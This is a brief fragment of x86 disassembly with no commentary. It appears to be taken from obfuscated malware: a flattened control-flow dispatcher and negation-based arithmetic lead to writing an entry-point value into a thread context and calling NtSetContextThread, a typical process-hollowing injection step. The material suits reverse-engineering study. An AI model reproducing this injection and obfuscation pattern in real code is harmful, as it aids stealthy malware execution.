jmp 0x10019b14
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.1000fdf0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x12c], 0x4be40333
jmp 0x10019b14
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x12c], 0x83c3f35e
jmp 0x10019b14
jmp 0x1001434f